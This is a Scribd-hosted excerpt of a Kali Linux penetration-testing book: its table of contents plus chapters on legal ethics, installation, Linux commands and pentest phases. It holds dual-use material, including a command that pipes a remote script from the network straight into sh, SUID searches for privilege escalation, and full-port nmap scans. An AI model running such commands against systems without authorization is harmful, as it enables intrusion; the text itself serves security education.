100% found this document useful (1 vote)
590 views200 pages

Kali Linux Essentials Uncover Security Flaws Using Nmap - Metasp

The document is a comprehensive guide on Kali Linux, focusing on its use for uncovering security flaws through various tools like Nmap and Metasploit. It covers installation, configuration, penetration testing processes, and advanced techniques for exploitation and vulnerability analysis. Additionally, it addresses legal and ethical considerations, as well as social engineering and web application testing strategies.

Uploaded by

ZAK BEN TAMA
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
590 views200 pages

Kali Linux Essentials Uncover Security Flaws Using Nmap - Metasp

The document is a comprehensive guide on Kali Linux, focusing on its use for uncovering security flaws through various tools like Nmap and Metasploit. It covers installation, configuration, penetration testing processes, and advanced techniques for exploitation and vulnerability analysis. Additionally, it addresses legal and ethical considerations, as well as social engineering and web application testing strategies.

Uploaded by

ZAK BEN TAMA
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 200

Kali Linux Essentials

Uncover Security Flaws Using Nmap,


Metasploit, and More
Alaric J. Fenwick
Copyright © 2025 by Alaric J. Fenwick
All rights reserved. No part of this publication
may be reproduced, distributed, or transmitted in
any form or by any means, including
photocopying, recording, or other electronic or
mechanical methods, without the prior written
permission of the author, except in the case of
brief quotations embodied in critical reviews and
certain other noncommercial uses permitted by
copyright law.
This book is provided “as is” without warranty of
any kind, either express or implied. The author
and publisher make no representations or
warranties regarding the accuracy, completeness,
or suitability of the information contained herein
and disclaim all liability for any loss or damage
incurred as a result of using this book.
All trademarks, registered trademarks, product
names, and company names or logos mentioned in
this book are the property of their respective
owners. Their use does not imply affiliation with
or endorsement by them.
TABLE OF CONTENTS
Introduction to Kali Linux 15
What is Kali Linux? 15
History and Evolution of Kali 15
BackTrack Era (2006–2013) 15
Birth of Kali Linux (2013) 16
Major Milestones in Kali Development 16
Legal and Ethical Considerations in Pentesting 17
Understanding the Law 17
White Hat vs. Black Hat vs. Gray Hat 17
Certifications and Professional Standards 18
Setting Up a Safe and Legal Testing Environment 18
Lab Environments 19
Network Isolation 19
Cloud Labs and Platforms 20
Best Practices 20
Installing and Configuring Kali Linux 21
System Requirements and Downloading Kali 21
Minimum System Requirements 21
Downloading Kali Linux 21
Installation on Bare Metal, VirtualBox, and VMware 22
Installing on Bare Metal 22
Installing in VirtualBox 23
Installing in VMware 24
Post-Installation Essentials and Updates 24
Update the System 24
Enable Non-Root User (if not already done) 24
Install Additional Tools 25
Enable SSH (optional) 25
Configuring Network and Wireless Settings 25
Check Network Interfaces 25
Enable Networking Services 26
Wireless Adapters 26
Customizing the Kali Environment 27
Change Desktop Environment 27
Set Bash/Zsh Themes 27
Configure Terminal Tools 28
Customize Tools Menu 28
Create Snapshots (VM Users) 28
Linux Command Line Mastery for Pentesters 29
Terminal Basics and Navigation 29
Common Terminal Shortcuts 29
Basic Navigation Commands 30
Working with Files 30
File System Management 30
Linux File System Hierarchy 31
Managing Directories 31
Disk and Space Management 31
User Management and Permissions 32
User and Group Management 32
Viewing Logged-in Users 32
File Permissions 32
SUID and SGID Files 33
Process and Service Monitoring 33
Viewing and Managing Processes 33
Checking Services and Daemons 34
Networking Commands for Recon 34
IP and Interface Management 34
Host Discovery 34
Port Scanning and Banner Grabbing 35
ARP and Neighbor Discovery 35
Packet Capturing (Basic) 35
Understanding the Penetration Testing Process 36
Phases of a Penetration Test 36
1. Reconnaissance (Information Gathering) 36
2. Scanning and Enumeration 37
3. Exploitation 38
4. Post-Exploitation 38
5. Reporting 39
Scoping and Planning 39
Setting Objectives 39
Target Identification 40
Engagement Types 40
Risk Assessment 40
Documentation and Reporting 41
During the Test 41
Final Report Structure 41
Rules of Engagement and Legal Boundaries 42
Key Components of RoE 42
Legal Frameworks and Standards 42
Ethics in Pentesting 43
Information Gathering and Reconnaissance with Nmap 44
Introduction to Nmap 44
Key Features: 44
Why Nmap for Recon? 45
Host Discovery Techniques 45
Common Host Discovery Methods 45
1. ICMP Echo Request (Ping) 45
2. TCP SYN Ping 45
3. TCP ACK Ping 46
4. ARP Ping (Local Network Only) 46
5. Combination Techniques 46
Port Scanning and Service Enumeration 46
Types of Port Scans 46
1. TCP SYN Scan (Stealth) 46
2. TCP Connect Scan 47
3. UDP Scan 47
4. Comprehensive Scan 47
Service Enumeration 47
OS Fingerprinting and Script Scanning 48
OS Detection 48
Script Scanning 48
Automating Recon with Nmap Scripting Engine (NSE) 49
Script Categories 49
Using Specific Scripts 49
Running Multiple Scripts by Category 50
Practical Tips for Nmap Recon 50
Vulnerability Scanning and Analysis 51
Discovering Vulnerabilities with Nmap Scripts 51
Common Vulnerability Scripts 51
Examples: 52
Integrating OpenVAS and Nikto 52
OpenVAS (Greenbone Vulnerability Manager) 53
Features: 53
Basic Workflow: 53
Nikto 54
What Nikto Scans: 54
Usage: 54
Manual Enumeration Techniques 55
Examples of Manual Techniques 55
Exploit Research Using Exploit-DB and SearchSploit 56
Exploit-DB 56
SearchSploit 56
Usage Examples: 56
Exploitation Using Metasploit Framework 58
Overview of Metasploit Architecture 58
1. Core: 58
2. Modules: 58
3. Database: 59
4. Meterpreter: 59
5. Interfaces: 59
6. Community and Documentation: 60
Exploit and Payload Selection 60
1. Selecting the Right Exploit: 60
Example: Exploit Selection 61
2. Selecting the Right Payload: 61
Meterpreter Shell Usage and Post-Exploitation 62
1. Basic Meterpreter Commands: 62
2. Post-Exploitation Tasks: 63
3. Session Management: 63
Creating and Modifying Custom Exploits 63
1. Creating a Custom Exploit: 64
2. Modifying an Existing Exploit: 64
Maintaining Persistence with Metasploit 65
1. Persistence Through Meterpreter: 65
2. Creating Persistent Backdoors Using Metasploit: 65
Wireless Attacks Using Aircrack-ng Suite 66
Wireless Network Fundamentals 66
1. Wireless Local Area Networks (WLANs): 66
2. Basic Components of a WLAN: 66
3. Wireless Network Standards: 67
4. Radio Frequency (RF) Basics: 67
Capturing Handshakes and Cracking WPA/WPA2 68
1. Capturing the WPA/WPA2 Handshake: 68
Steps for Capturing the Handshake: 68
2. Cracking WPA/WPA2 Encryption: 69
Limitations of Cracking WPA/WPA2: 69
Deauthentication and Evil Twin Attacks 69
1. Deauthentication Attacks: 69
Steps to Perform a Deauthentication Attack: 70
2. Evil Twin Attacks: 70
Steps for an Evil Twin Attack: 70
Monitoring and Sniffing Wireless Traffic 71
1. Packet Sniffing: 71
2. Capturing Data Packets: 71
3. Sniffing for WEP and WPA Cracks: 71
Advanced Aircrack-ng Usage and Automation 72
1. Automating Handshake Capture: 72
2. Distributed Cracking: 72
3. Integrating Aircrack-ng with Other Tools: 72
Post-Exploitation Techniques and Lateral Movement 74
Maintaining Access and Persistence 74
1. Common Persistence Techniques: 74
a. Scheduled Tasks / Cron Jobs: 74
b. Startup Folder / Registry Run Keys: 75
c. DLL Hijacking and COM Hijacking: 75
d. Backdoors and Reverse Shells: 75
e. Planted SSH Keys: 75
Privilege Escalation Techniques 75
1. Windows Privilege Escalation: 76
a. Exploiting Vulnerable Services: 76
b. Unquoted Service Paths: 76
c. Insecure Registry Permissions: 76
d. Token Impersonation / Privileged Tokens: 76
e. Exploiting Kernel Vulnerabilities: 76
2. Linux Privilege Escalation: 76
a. Sudo Misconfigurations: 76
b. SetUID Binaries: 77
c. Weak File Permissions: 77
d. Kernel Exploits: 77
Lateral Movement Within Internal Networks 77
1. Credential Reuse and Pass-the-Hash: 77
2. Remote Services and Admin Tools: 78
a. Windows: 78
b. Linux: 78
3. Enumerating the Network: 78
4. Pivoting and Tunneling: 78
Credential Harvesting and Data Exfiltration 79
1. Credential Harvesting: 79
a. Mimikatz: 79
b. Windows Vault & Credential Manager: 79
c. Browser Credential Dumps: 79
d. Keyloggers and Clipboard Grabbers: 79
e. Dumping SAM & SYSTEM Registry Hives: 79
2. Data Exfiltration: 80
a. Manual File Extraction: 80
b. Staging and Upload: 80
c. Exfiltration via Cloud or Web Services: 80
d. Tunneling and Covert Channels: 80
Clearing Tracks and Anti-Forensics Tactics 80
1. Clearing Logs: 80
a. Windows: 80
b. Linux: 81
2. Timestomping: 81
3. Covering Persistence Mechanisms: 81
4. In-Memory Execution and Fileless Attacks: 81
5. Disabling Security Controls: 81
Advanced Attacks Using Empire Framework 83
Introduction to PowerShell Empire 83
Using Listeners and Agents 84
1. Setting Up Listeners 84
2. Launching Agents 84
a. Generating Stagers 84
b. Interacting with Agents 85
Credential Theft and Keylogging 85
1. Using Mimikatz in Empire 86
2. Keylogging 86
File Transfer, Execution, and Pivoting 87
1. Transferring Files 87
2. Executing Binaries and Scripts 87
3. Pivoting 88
Empire vs. Modern EDR and AVs 88
1. Detection Mechanisms 88
2. Evasion Techniques 89
3. Recommendations for Red Teamers 89
Password Attacks and Cracking Strategies 91
Offline and Online Password Cracking 91
Offline Password Cracking 91
Common sources of password hashes: 91
Online Password Cracking 92
Hash Identification and Cracking with Hashcat and John the Ripper 93
Identifying Hashes 93
Tools for hash identification: 93
Cracking with Hashcat 94
Basic syntax: 94
Key features: 94
Cracking with John the Ripper 95
Modes: 95
Credential Dumping and Reuse Attacks 96
Credential Dumping 96
Popular methods: 96
Credential Reuse Attacks 96
Examples: 96
Creating Custom Wordlists with Crunch and Cewl 97
Crunch 97
Cewl 98
Social Engineering Techniques 99
Phishing Campaigns with SET (Social-Engineer Toolkit) 99
Features of SET: 99
Launching SET in Kali: 100
Common SET Attack Scenarios: 100
Cloning Websites and Harvesting Credentials 101
Steps to Clone and Harvest: 101
Tips for Realism: 101
Malicious Payload Delivery via Email 102
Types of Email Payloads: 102
Tools for Crafting Emails: 102
Example: Using SET to Send a Phishing Email 103
Precautions: 103
Bypassing User Awareness and Defense 103
Psychological Tactics: 103
Techniques to Evade Detection: 104
Evasion Tools: 104
User Awareness Defeat Examples: 104
Bypassing Firewalls and Antivirus Systems 106
Obfuscation and Encoding Techniques 106
Types of Obfuscation: 106
Example: Obfuscating PowerShell 107
Tools for Obfuscation: 107
Custom Payload Generation with Veil and Shellter 108
Veil Framework 108
Shellter 109
Tunneling and Evasion Techniques 109
SSH and VPN Tunneling 109
DNS Tunneling 110
HTTP/S Tunneling 110
Cloud-Based Tunnels 110
Evasion Tools: 111
Understanding Endpoint Protection Mechanisms 111
Key Components of Endpoint Protection: 111
Bypass Techniques: 112
Web Application Testing with Kali Linux 113
Web Vulnerabilities Overview (OWASP Top 10) 113
1. Broken Access Control 113
2. Cryptographic Failures 113
3. Injection Attacks 113
4. Insecure Design 114
5. Security Misconfiguration 114
6. Vulnerable and Outdated Components 114
7. Identification and Authentication Failures 114
8. Software and Data Integrity Failures 114
9. Security Logging and Monitoring Failures 114
10. Server-Side Request Forgery (SSRF) 114
SQL Injection, XSS, CSRF, and LFI/RFI 114
SQL Injection (SQLi) 114
Cross-Site Scripting (XSS) 115
Cross-Site Request Forgery (CSRF) 116
Local File Inclusion (LFI) and Remote File Inclusion (RFI) 116
Tools: Burp Suite, Nikto, and Dirbuster 117
Burp Suite 117
Nikto 118
Dirbuster (or Dirb) 118
Manual vs Automated Web Testing 119
Manual Testing 119
Automated Testing 120
Hybrid Approach 121
Network Sniffing and Traffic Analysis 122
Capturing Packets with Wireshark and Tcpdump 122
Wireshark 122
Key Features: 122
Common Use Cases: 123
Basic Usage: 123
Tcpdump 123
Example Usage: 123
Useful Options: 124
Analyzing Cleartext and Encrypted Traffic 124
Cleartext Protocols 124
Examples: 124
Encrypted Protocols 125
Decryption Options: 125
SSL/TLS Decryption with Wireshark: 125
Identifying Protocols and Sensitive Data 126
Identifying Protocols 126
Sensitive Data Discovery 126
What to Look For: 126
Wireshark Filters: 126
Reassembling Objects: 127
Analyzing DNS Leaks: 127
ARP Spoofing and Man-in-the-Middle Attacks 127
ARP Spoofing Basics 127
ARP Spoofing Tools: 127
Example (arpspoof): 127
Man-in-the-Middle (MitM) Attacks 128
Ettercap Usage: 128
Bettercap: 128
Precautions: 129
Scanning and Mapping Wireless Networks 130
Tools and Techniques 130
airmon-ng and airodump-ng (Aircrack-ng Suite) 130
kismet 131
wigle.net 131
Identifying Hidden SSIDs 131
Exploiting Bluetooth Devices 131
Bluetooth Reconnaissance 132
hcitool 132
bluetoothctl 132
l2ping 132
bluelog 132
Common Vulnerabilities 132
Attacks and Tools 132
btscanner 133
carwhisperer 133
bluetooth-hcidump 133
Rogue Access Point Creation and Honeypots 133
Evil Twin Attacks 133
Example using airbase-ng: 134
Wifiphisher 134
Example: 134
Honeypots 134
Karma 134
Mana Toolkit 134
IoT Device Enumeration and Attacks 135
IoT Enumeration Techniques 135
Common Vulnerabilities 136
Tools for IoT Attacks 136
Telnet Attack Example: 136
Exploiting MQTT (common IoT protocol): 136
Writing Custom Exploits and Scripts 137
Basics of Exploit Development 137
Understanding the Vulnerability 137
Exploit Development Workflow 138
Buffer Overflows and Shellcode Injection 138
Anatomy of a Simple Stack-Based Buffer Overflow 139
Using Python, Bash, and PowerShell in Pentesting 140
Python 140
Bash 141
PowerShell 142
Automating Tasks and Writing Simple Tools 143
Building a Brute Force Script (Python) 143
Automating Tool Chains with Bash 144
Creating Reusable Payload Generators 144
Red Teaming and Simulated Attacks 145
Red vs. Blue vs. Purple Teams Explained 145
Red Team (Offensive) 145
Blue Team (Defensive) 146
Purple Team (Collaborative) 146
Planning and Executing Simulated Attacks 146
Phases of a Red Team Engagement 146
OPSEC in Red Teaming 148
Command and Control (C2) Techniques 149
Types of C2 Channels 149
Popular C2 Frameworks 149
Reporting and Debriefing 150
Red Team Report Structure 150
Debriefing Process 151
Reporting and Documentation 153
Importance of Professional Reporting 153
1. Clear Communication of Findings 153
2. Actionable Insights for Remediation 153
3. Documentation for Compliance and Auditing 154
4. Risk and Impact Assessment 154
5. Measurement of Security Posture Improvement 154
Tools for Report Generation 154
1. Dradis 154
2. Faraday 155
3. Metasploit Pro 155
4. Nessus 156
5. Burp Suite 156
Templates and Real-World Examples 156
Report Template Structure 156
Real-World Examples 158
Communicating Risk and Impact 159
Risk Assessment 159
Risk Rating and Prioritization 160
Staying Updated and Advancing Your Skills 161
Kali Linux Rolling Release and Updates 161
1. Kali Linux Rolling Release Model 161
2. Keeping Track of Tool Changes and New Features 162
Following Security Feeds and Vulnerability Databases 163
1. Vulnerability Databases 163
2. Security Feeds and News Sources 163
3. Security Twitter Feeds and Social Media 164
Certifications: OSCP, CEH, CompTIA Pentest+ 165
1. Offensive Security Certified Professional (OSCP) 165
2. Certified Ethical Hacker (CEH) 165
3. CompTIA PenTest+ 166
Community, Forums, and Conferences 166
1. Online Communities and Forums 167
2. Conferences and Meetups 167
3. Local Meetups and Workshops 167
Frequently Asked Questions (FAQs) - Penetration Testing with Kali Linux 169
Glossary of Terms 178
Comprehensive Kali Linux Command Cheat Sheet 187
Table of Common Ports and Protocols 198
Additional Considerations: 208
Useful Resources and Further Reading 209
1. Kali Linux Official Resources 209
2. Books on Penetration Testing and Kali Linux 210
3. Online Training Platforms 210
4. Community and Forums 211
5. YouTube Channels and Video Tutorials 212
6. Vulnerability Databases and Exploit Repositories 213
7. Vulnerability Scanners and Penetration Testing Tools 213
Sample Penetration Test Report Template 215
Penetration Testing Report Template 215
Sample Report (Excerpt) 221
Executive Summary 221
Introduction to Kali Linux
What is Kali Linux?
Kali Linux is a powerful, Debian-based Linux distribution specifically
crafted for penetration testing, ethical hacking, and cybersecurity
assessments. Developed and maintained by Offensive Security, Kali is
widely regarded as the go-to platform for security professionals, ethical
hackers, and researchers engaged in red teaming, vulnerability assessment,
and forensic analysis.
Unlike general-purpose Linux distributions, Kali Linux comes preloaded
with over 600 penetration testing tools, ranging from network scanners and
vulnerability assessors to wireless analysis and reverse engineering utilities.
These tools include industry standards such as Nmap, Metasploit,
Wireshark, Burp Suite, Aircrack-ng, John the Ripper, Empire, and many
more.
Kali is tailored for offensive security, emphasizing customization, stealth,
and flexibility. Its modular architecture allows users to create customized
ISO images, build minimal installs for specific environments, and perform
persistent USB installations, making it highly versatile for both professional
and educational use.

History and Evolution of Kali


Kali Linux is the spiritual and technological successor to BackTrack
Linux, which was itself a merger of two earlier security-focused projects:
Whax and Auditor Security Collection. Here's a timeline of its evolution:

BackTrack Era (2006–2013)


BackTrack was initially released in 2006 by Mati Aharoni (known as
“muts”), Max Moser, and others. It combined the best of Whax and Auditor
into one live distribution geared toward penetration testing and digital
forensics. BackTrack quickly gained popularity in the hacker and
cybersecurity community due to its comprehensive toolset and ease of use.
BackTrack evolved through several major versions but had limitations,
particularly in its packaging system, which made updates and
customizations cumbersome.

Birth of Kali Linux (2013)


In March 2013, Kali Linux was officially released as a complete rebuild of
BackTrack, using Debian as its base. This switch brought substantial
improvements in package management, security, and development
scalability. Kali adopted Debian's Advanced Packaging Tool (APT),
allowing for seamless updates and more reliable system management.
Key goals of Kali Linux included:
● A fully open-source development model

● Full adherence to FHS (Filesystem Hierarchy Standard)

● Git-based package maintenance for transparency

● Multi-platform and ARM support for mobile and embedded devices

Major Milestones in Kali Development


● Kali 2.0 (2015): Introduced a revamped user interface and updated
toolsets; moved to a rolling release model.

● Kali Rolling (2016+): Shifted to a Debian Testing branch for


continuous updates, ensuring tools and packages stay current.

● Kali NetHunter (2014+): A mobile penetration testing platform for


Android devices.

● Kali Live with Persistence and Encryption: Allows users to run


Kali from a USB drive with persistent storage and encrypted data.
● Kali in Windows Subsystem for Linux (WSL): Integration of Kali
into Windows for hybrid environments.

Today, Kali is supported on various platforms including VMs, Raspberry Pi,


cloud environments (AWS, Azure), containers (Docker), and mobile
devices, making it one of the most flexible and comprehensive pentesting
environments available.

Legal and Ethical Considerations in Pentesting


Kali Linux, and the tools it provides, are powerful—so powerful that they
can easily cross into illegal territory if not used responsibly. While the tools
themselves are legal, how and where they are used determines whether
the action is ethical or criminal.

Understanding the Law


Ethical hacking must always comply with the law. Unauthorized access,
scanning, or probing of networks without explicit permission can lead to
severe legal consequences, including fines and imprisonment.
Laws vary by country and region, but the common themes include:
● Computer Fraud and Abuse Act (CFAA) in the U.S.

● General Data Protection Regulation (GDPR) in Europe

● Computer Misuse Act (CMA) in the UK

These laws criminalize unauthorized access, tampering, and misuse of


digital systems.

White Hat vs. Black Hat vs. Gray Hat


● White Hat: Operates with permission and within the scope of a
contractual agreement. Ethical and legal.
● Black Hat: Operates without consent and with malicious intent.
Illegal and unethical.

● Gray Hat: Operates without explicit permission, but without harmful


intent. Still often illegal.

To stay on the right side of the law:


● Always obtain written permission before testing systems.

● Follow the scope and rules of engagement.

● Report vulnerabilities responsibly and do not exploit them beyond


what is agreed.

Certifications and Professional Standards


Many ethical hackers pursue certifications such as:
● OSCP (Offensive Security Certified Professional)

● CEH (Certified Ethical Hacker)

● CompTIA PenTest+

● CPT (Certified Penetration Tester)

These certifications emphasize legal compliance, professional conduct, and


best practices, making them vital for legitimate practitioners.

Setting Up a Safe and Legal Testing Environment


One of the cornerstones of responsible cybersecurity practice is building a
controlled and isolated testing environment that mirrors real-world
systems without risking unauthorized access or data compromise.

Lab Environments
Creating a test lab allows users to practice hacking techniques safely and
legally. Recommended setups include:
● Virtual Machines (VMs): Tools like VirtualBox, VMware, or Hyper-
V allow multiple isolated machines on a single host system.

● Vulnerable Targets: Install purposely vulnerable systems like:

○ Metasploitable

○ DVWA (Damn Vulnerable Web App)

○ OWASP Broken Web Applications

○ Hack The Box VMs or TryHackMe Labs

● Virtual Networks: Set up internal networks within virtualization


software to mimic enterprise setups.

Network Isolation
Ensure the lab is completely isolated from your production or home
network. You can:
● Disable internet access to test VMs.

● Use NAT or host-only adapters.

● Avoid bridging to real interfaces.

Cloud Labs and Platforms


For those without local resources, cloud-based platforms like TryHackMe,
Hack The Box, and Offensive Security’s Proving Grounds offer legal,
hosted, and gamified pentesting environments.

Best Practices
● Never scan or attack IPs or domains you do not own or have
permission to test.

● Keep logs of your tests and permissions.

● Use snapshots in VMs to revert changes quickly.

● Practice responsible disclosure for any real vulnerabilities discovered


unintentionally.
Installing and Configuring Kali
Linux
System Requirements and Downloading
Kali
Before diving into installation, it’s crucial to understand the system
requirements and available versions of Kali Linux. Kali is designed to be
lightweight and versatile, running on a wide range of hardware, from
powerful desktops to single-board computers like the Raspberry Pi.

Minimum System Requirements


● CPU: Minimum 1 GHz single-core processor (multi-core
recommended)

● RAM: 2 GB minimum (4 GB or more recommended for optimal


performance)

● Storage: 20 GB minimum disk space

● Graphics: Compatible with standard Linux display drivers

● Network: Ethernet or wireless adapter (for network tools)

These specs are suitable for basic usage. For resource-intensive tasks, such
as using multiple VMs or advanced post-exploitation frameworks, higher
specs are recommended.

Downloading Kali Linux


Kali Linux can be downloaded from its official website:
https://www.kali.org/get-kali
Multiple versions are available:
● Installer Images (Bare Metal): For installing directly to a system.

● Live Images: Boot from USB without installation.

● Virtual Machine Images: Pre-built for VirtualBox and VMware.

● NetInstaller: Lightweight ISO for network-based installations.

● ARM Images: For Raspberry Pi, Pinebook, and other ARM devices.

● WSL: Available on Microsoft Store for use within Windows


Subsystem for Linux.

Choose the image based on your intended deployment—bare metal, VM, or


live USB. Verify the download using the provided SHA256 hash to ensure
file integrity and authenticity.

Installation on Bare Metal, VirtualBox, and


VMware
Kali can be installed on real hardware or as a guest OS inside a virtual
machine. Virtual environments are ideal for labs and experimentation.

Installing on Bare Metal


Steps:
1. Create Bootable USB: Use a tool like Rufus or Balena Etcher to
write the Kali ISO to a USB drive.

2. Boot from USB: Enter BIOS/UEFI settings to set USB as the


primary boot device.
3. Start Installer: Select “Graphical Install” for a guided
installation process.

4. Partition Disks: Choose between guided (entire disk) or manual


partitioning. Encrypt partitions if needed.

5. Configure Users: Set up the root user (or standard user in newer
Kali versions).

6. Install GRUB: Select the bootloader destination (typically


/dev/sda).

7. Finish Setup: Reboot into your new Kali installation.

Kali will detect and install most drivers, but proprietary drivers for wireless
cards or GPUs may need manual configuration post-install.

Installing in VirtualBox
1. Download VirtualBox: Available at https://www.virtualbox.org.

2. Create VM:

○ Name: Kali Linux

○ Type: Linux

○ Version: Debian (64-bit)

○ RAM: At least 2 GB

○ Disk: 20 GB dynamically allocated


3. Attach ISO: Mount the Kali ISO under the VM’s optical drive.

4. Install: Follow the graphical installer steps as for bare metal.

5. Install Guest Additions (optional): Improve performance and


enable clipboard and file sharing.

Installing in VMware
1. Download VMware Workstation Player or VMware Fusion.

2. Open Pre-Built Image or create a new virtual machine


manually.

3. Customize Hardware: Allocate enough RAM, CPUs, and disk


space.

4. Install VMware Tools: For better integration and performance.

Post-Installation Essentials and Updates


Once Kali is installed, perform essential post-installation tasks to secure and
optimize the system.

Update the System


Use Kali’s rolling release model to stay current:
sudo apt update && sudo apt full-upgrade -y

This will update all packages, including the kernel and security tools.

Enable Non-Root User (if not already done)


Earlier versions of Kali used the root user by default. Newer versions
encourage the use of standard users:
sudo adduser yourusername
sudo usermod -aG sudo yourusername

Install Additional Tools


Use kali-linux-top10 or other metapackages:
sudo apt install kali-linux-top10
sudo apt install kali-linux-wireless

These bundles include tools like Nmap, Metasploit, Wireshark, Aircrack-


ng, and others.

Enable SSH (optional)


sudo systemctl enable ssh
sudo systemctl start ssh

Make sure to configure SSH securely, change default keys, and consider
firewall rules.

Configuring Network and Wireless Settings


Many penetration testing tasks require stable and flexible networking,
especially wireless packet injection and monitoring.

Check Network Interfaces


ip a

Look for interfaces like eth0, wlan0, or usb0.


Enable Networking Services
If network services are disabled:
sudo systemctl start NetworkManager
sudo systemctl enable NetworkManager

Kali uses NetworkManager for managing interfaces. The GUI interface can
be used under the system tray, or via:
nmtui

Wireless Adapters
Not all Wi-Fi adapters support monitor mode or packet injection.
Recommended chipsets include:
● Atheros AR9271

● Realtek RTL8812AU

● Ralink RT3070

Check if your adapter supports monitor mode:


iwconfig

Enable monitor mode:


sudo ip link set wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ip link set wlan0 up

Use airmon-ng to simplify this:


sudo airmon-ng start wlan0

Install firmware for compatibility:


sudo apt install firmware-realtek firmware-atheros

Customizing the Kali Environment


Customization improves productivity and user experience, especially for
regular users or professionals working in varied environments.

Change Desktop Environment


Kali uses XFCE by default, but you can install others:
sudo apt install kali-desktop-gnome
sudo apt install kali-desktop-kde

Choose the preferred environment at login.

Set Bash/Zsh Themes


Install Zsh with oh-my-zsh:
sudo apt install zsh
sh -c "$(curl -fsSL
https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh
)"

Customize .zshrc for prompt styling, aliases, and plugins.

Configure Terminal Tools


● Use tmux for terminal multiplexing.
● Set up terminator for tabbed/tiling terminals.

● Use Powerline fonts for visual enhancements.

Customize Tools Menu


Kali’s XFCE menu can be tailored:
● Add/remove tools to the Favorites

● Organize by category or workflow

● Use custom launchers for scripts

Create Snapshots (VM Users)


Before modifying or testing tools, create snapshots for safe rollback.
Linux Command Line Mastery for
Pentesters
Mastery of the Linux command line is essential for penetration testers.
Whether conducting reconnaissance, exploiting systems, or analyzing post-
exploitation data, efficient use of the terminal saves time and provides
deeper control. Kali Linux is built on Debian and offers a rich collection of
command-line tools tailored for offensive security professionals.

Terminal Basics and Navigation


The terminal is your main interface to interact with the system.
Understanding its structure and core commands forms the foundation of
effective pentesting.

Common Terminal Shortcuts


● Tab: Autocompletes commands and file names

● Ctrl + C: Terminates a running process

● Ctrl + D: Logs out or closes the terminal

● Ctrl + L: Clears the screen (like clear)

● !!: Repeats the last command

● !<command>: Repeats last occurrence of that command (e.g., !ls)

Basic Navigation Commands


● pwd: Print the current working directory

● cd /path/to/dir: Change directory

● ls: List files and directories

○ ls -la: Show all files with permissions and metadata

● echo $PATH: Show environment variable PATH

Working with Files


● touch filename: Create an empty file

● cat file: View contents of a file

● more file, less file: Scroll through file contents

● nano, vim: Text editors (nano is easier for beginners)

● rm file: Delete a file

● mv file new_location: Move or rename a file

● cp file destination: Copy a file

File System Management


Understanding the Linux file system hierarchy helps you locate and
manipulate the files you need, especially when navigating system internals
or looking for misconfigurations.

Linux File System Hierarchy


● /: Root of the file system
● /home: User directories

● /etc: System-wide configuration files

● /var: Logs and variable data

● /tmp: Temporary files

● /usr: User applications and libraries

● /bin, /sbin: Essential binaries

Managing Directories
● mkdir new_folder: Create a new directory

● rmdir folder: Remove an empty directory

● rm -r folder: Remove a directory and its contents

● tree: Visual representation of directory structure

Disk and Space Management


● df -h: Check disk space usage

● du -sh folder: Get the size of a folder

● mount, umount: Mount or unmount file systems

● lsblk: Show attached storage devices

User Management and Permissions


Privilege escalation is a core part of pentesting. Knowing how users and
permissions are structured helps identify misconfigurations, weak setups, or
avenues for gaining higher access.

User and Group Management


● whoami: Current user

● id: User ID and group membership

● adduser username: Add a new user

● passwd username: Set or change a user’s password

● usermod -aG group username: Add user to a group

Viewing Logged-in Users


● who: Shows who is logged in

● w: More detailed information

● last: Show login history

File Permissions
● ls -l: Displays permissions in format rwxr-xr--

● chmod: Change permissions

○ chmod 755 file: Set execute for owner, read for others

● chown: Change ownership

○ chown user:group file

SUID and SGID Files


Find files with special privileges:
find / -perm -4000 2>/dev/null # SUID
find / -perm -2000 2>/dev/null # SGID

These files may be abused for privilege escalation.

Process and Service Monitoring


Analyzing running processes and services is essential for identifying
vulnerabilities, malware, or hidden persistence mechanisms.

Viewing and Managing Processes


● ps aux: Show all processes

● top: Real-time process monitoring

● htop: Advanced interactive process viewer (install with apt install


htop)

● kill PID: Terminate a process

● killall name: Kill process by name

Checking Services and Daemons


● systemctl status: Check system service manager

● systemctl start|stop|restart service: Manage services

● service --status-all: See all init.d services

● netstat -tulnp: List network services and their ports

● ss -tulnp: Modern alternative to netstat


Networking Commands for Recon
Reconnaissance is the first step in penetration testing. Understanding how
to probe the network via CLI tools is crucial.

IP and Interface Management


● ip a: Show IP addresses and interfaces

● ip link set dev eth0 up/down: Enable/disable interfaces

● ifconfig: Deprecated but still in use

● iwconfig: Wireless interface settings

Host Discovery
● ping target: Check if a host is online

● traceroute target: Show the route to a host

● whois domain: Domain registration information

● dig domain: DNS lookup

● host domain: Alternate DNS tool

Port Scanning and Banner Grabbing


● nc -v target port: Netcat for banner grabbing

● telnet target port: Check service banner (less common now)

● nmap target: Basic port scan (covered in-depth in later chapters)

Example:
nmap -sS -T4 -p- target.com

ARP and Neighbor Discovery


● arp -a: ARP table (IPv4)

● ip neigh: Neighbor table (IPv6 and IPv4)

Packet Capturing (Basic)


● tcpdump -i eth0: Sniff packets on interface

● tcpdump -nn -i wlan0 port 80: Filter for HTTP traffic


Understanding the Penetration
Testing Process
Penetration testing (pentesting) is a structured and ethical approach to
evaluating the security of an information system. It involves simulating
real-world attacks to identify vulnerabilities before malicious actors can
exploit them. A thorough understanding of the penetration testing process is
vital for ethical hackers and cybersecurity professionals. This process is
governed by industry standards and legal requirements to ensure safety,
legality, and effectiveness.

Phases of a Penetration Test


A penetration test is typically broken into five distinct phases. Each phase
has its own objectives, methodologies, and deliverables. Skipping or
inadequately performing any phase can lead to inaccurate results or legal
repercussions.

1. Reconnaissance (Information Gathering)


In this phase, the pentester collects as much information as possible about
the target. This can include:
● Domain names and IP addresses

● Employee email addresses

● DNS records

● Open ports and services


● Technologies in use

Tools used:
● Passive: Google Dorking, WHOIS, Shodan, Netcraft

● Active: Nmap, DNS enumeration, SNMP scanning

2. Scanning and Enumeration


Once initial information is collected, scanning identifies live systems, open
ports, and running services. Enumeration goes deeper by pulling system-
specific information.
Common goals:
● Map the network

● Identify vulnerable services

● Gather usernames and shares

Tools:
● Nmap

● Nessus

● Netcat

● Enum4linux

● Nikto

3. Exploitation
This phase attempts to exploit discovered vulnerabilities to gain access to
the system. Exploits can be remote or local and may target software flaws,
misconfigurations, or weak credentials.
